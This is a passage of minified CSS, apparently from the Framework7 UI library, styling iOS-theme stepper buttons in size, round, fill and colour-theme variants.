.stepper-button-plus:before,.ios .stepper-fill-ios .stepper-button-minus:after,.ios .stepper-fill-ios .stepper-button-minus:before,.ios .stepper-fill-ios .stepper-button-plus:after,.ios .stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper-fill .stepper-button+.stepper-button,.ios .stepper-fill .stepper-button-minus+.stepper-button-plus,.ios .stepper-fill-ios .stepper-button+.stepper-button,.ios .stepper-fill-ios .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.ios .stepper-round .stepper-button-minus:first-child,.ios .stepper-round .stepper-button-plus:first-child,.ios .stepper-round .stepper-button:first-child,.ios .stepper-round-ios .stepper-button-minus:first-child,.ios .stepper-round-ios .stepper-button-plus:first-child,.ios .stepper-round-ios .stepper-button:first-child{border-radius:0 29px 29px 0}.ios .stepper-round .stepper-button-minus:last-child,.ios .stepper-round .stepper-button-plus:last-child,.ios .stepper-round .stepper-button:last-child,.ios .stepper-round-ios .stepper-button-minus:last-child,.ios .stepper-round-ios .stepper-button-plus:last-child,.ios .stepper-round-ios .stepper-button:last-child{border-radius:29px 0 0 29px}.ios .stepper-small,.ios .stepper-small-ios{height:26px}.ios .stepper-small .stepper-input-wrap,.ios .stepper-small .stepper-value,.ios .stepper-small-ios .stepper-input-wrap,.ios .stepper-small-ios .stepper-value{border-top-width:2px;border-bottom-width:2px}.ios .stepper-small .stepper-button,.ios .stepper-small .stepper-button-minus,.ios .stepper-small .stepper-button-plus,.ios .stepper-small-ios .stepper-button,.ios .stepper-small-ios .stepper-button-minus,.ios .stepper-small-ios .stepper-button-plus{height:26px;-webkit-transition-duration:.2s;transition-duration:.2s;line-height:22px;border-width:2px}.ios .stepper-small .stepper-button .f7-icons,.ios .stepper-small .stepper-button-minus .f7-icons,.ios .stepper-small .stepper-button-plus .f7-icons,.ios .stepper-small-ios .stepper-button .f7-icons,.ios .stepper-small-ios .stepper-button-minus .f7-icons,.ios .stepper-small-ios .stepper-button-plus .f7-icons{font-size:18px}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill .stepper-button.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent;opacity:1}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper-big,.ios .stepper-big-ios{height:44px}.ios .stepper-big .stepper-button,.ios .stepper-big .stepper-button-minus,.ios .stepper-big .stepper-button-plus,.ios .stepper-big-ios .stepper-button,.ios .stepper-big-ios .stepper-button-minus,.ios .stepper-big-ios .stepper-button-plus{height:44px;line-height:42px}.ios .color-theme-red .stepper .stepper-button,.ios .color-theme-red .stepper .stepper-button-minus,.ios .color-theme-red .stepper .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .stepper .stepper-button-minus.active-state,.ios .color-theme-red .stepper .stepper-button-plus.active-state,.ios .color-theme-red .stepper .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .color-theme-red .stepper .stepper-button-minus:after,.ios .color-theme-red .stepper .stepper-button-minus:before,.ios .color-theme-red .stepper .stepper-button-plus:after,.ios .color-theme-red .stepper .stepper-button-plus:before{background-color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap,.ios .color-theme-red .stepper .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .color-theme-red .stepper .stepper-value{color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap input{color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .color-theme-green .stepper .stepper-button,.ios .color-theme-green .stepper .stepper-button-minus,.ios .color-theme-green .stepper .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .stepper .stepper-button-minus.active-state,.ios .color-theme-green .stepper .stepper-button-plus.active-state,.ios .color-theme-green .stepper .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .color-theme-green .stepper .stepper-button-minus:after,.ios .color-theme-green .stepper .stepper-button-minus:before,.ios .color-theme-green .stepper .stepper-button-plus:after,.ios .color-theme-green .stepper .stepper-button-plus:before{background-color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap,.ios .color-theme-green .stepper .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .color-theme-green .stepper .stepper-value{color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap input{color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .color-theme-blue .stepper .stepper-button,.ios .color-theme-blue .stepper .stepper-button-minus,.ios .color-theme-blue .stepper .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .color-theme-blue .stepper .stepper-button-minus.active-state,.ios .color-theme-blue .stepper .stepper-button-plus.active-state,.ios .color-theme-blue .stepper .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .color-theme-blue .stepper .stepper-button-minus:after,.ios .color-theme-blue .stepper .stepper-button-minus:before,.ios .color-theme-blue .stepper .stepper-button-plus:after,.ios .color-theme-blue .stepper .stepper-button-plus:before{background-color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap,.ios .color-theme-blue .stepper .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .color-theme-blue .stepper .stepper-value{color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap input{color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .color-theme-pink .stepper .stepper-button,.ios .color-theme-pink .stepper .stepper-button-minus,.ios .color-theme-pink .stepper .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .stepper .stepper-button-minus.active-state,.ios .color-theme-pink .stepper .stepper-button-plus.active-state,.ios .color-theme-pink .stepper .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .color-theme-pink .stepper .stepper-button-minus:after,.ios .color-theme-pink .stepper .stepper-button-minus:before,.ios .color-theme-pink .stepper .stepper-button-plus:after,.ios .color-theme-pink .stepper .stepper-button-plus:before{background-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap,.ios .color-theme-pink .stepper .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-value{color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap input{color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .color-theme-yellow .stepper .stepper-button,.ios .color-theme-yellow .stepper .stepper-button-minus,.ios .color-theme-yellow .stepper .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .stepper .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .color-theme-yellow .stepper .stepper-button-minus:after,.ios .color-theme-yellow .stepper .stepper-button-minus:before,.ios .color-theme-yellow .stepper .stepper-button-plus:after,.ios .color-theme-yellow .stepper .stepper-button-plus:before{background-color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap,.ios .color-theme-yellow .stepper .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .color-theme-yellow .stepper .stepper-value{color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap input{color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .color-theme-orange .stepper .stepper-button,.ios .color-theme-orange .stepper .stepper-button-minus,.ios .color-theme-orange .stepper .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .stepper .stepper-button-minus.active-state,.ios .color-theme-orange .stepper .stepper-button-plus.active-state,.ios .color-theme-orange .stepper .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .color-theme-orange .stepper .stepper-button-minus:after,.ios .color-theme-orange .stepper .stepper-button-minus:before,.ios .color-theme-orange .stepper .stepper-button-plus:after,.ios .color-theme-orange .stepper .stepper-button-plus:before{background-color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap,.ios .color-theme-orange .stepper .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .color-theme-orange .stepper .stepper-value{color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .color-theme-gray .stepper .stepper-button,.ios .color-theme-gray .stepper .stepper-button-minus,.ios .color-theme-gray .stepper .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .stepper .stepper-button-minus.active-state,.ios .color-theme-gray .stepper .stepper-button-plus.active-state,.ios .color-theme-gray .stepper .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .color-theme-gray .stepper .stepper-button-minus:after,.ios .color-theme-gray .stepper .stepper-button-minus:before,.ios .color-theme-gray .stepper .stepper-button-plus:after,.ios .color-theme-gray .stepper .stepper-button-plus:before{background-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap,.ios .color-theme-gray .stepper .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-value{color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap input{color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .color-theme-white .stepper .stepper-button,.ios .color-theme-white .stepper .stepper-button-minus,.ios .color-theme-white .stepper .stepper-button-plus{border-color:#fff;color:#fff}.ios .color-theme-white .stepper .stepper-button-minus.active-state,.ios .color-theme-white .stepper .stepper-button-plus.active-state,.ios .color-theme-white .stepper .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .color-theme-white .stepper .stepper-button-minus:after,.ios .color-theme-white .stepper .stepper-button-minus:before,.ios .color-theme-white .stepper .stepper-button-plus:after,.ios .color-theme-white .stepper .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap,.ios .color-theme-white .stepper .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .color-theme-white .stepper .stepper-value{color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .color-theme-black .stepper .stepper-button,.ios .color-theme-black .stepper .stepper-button-minus,.ios .color-theme-black .stepper .stepper-button-plus{border-color:#000;color:#000}.ios .color-theme-black .stepper .stepper-button-minus.active-state,.ios .color-theme-black .stepper 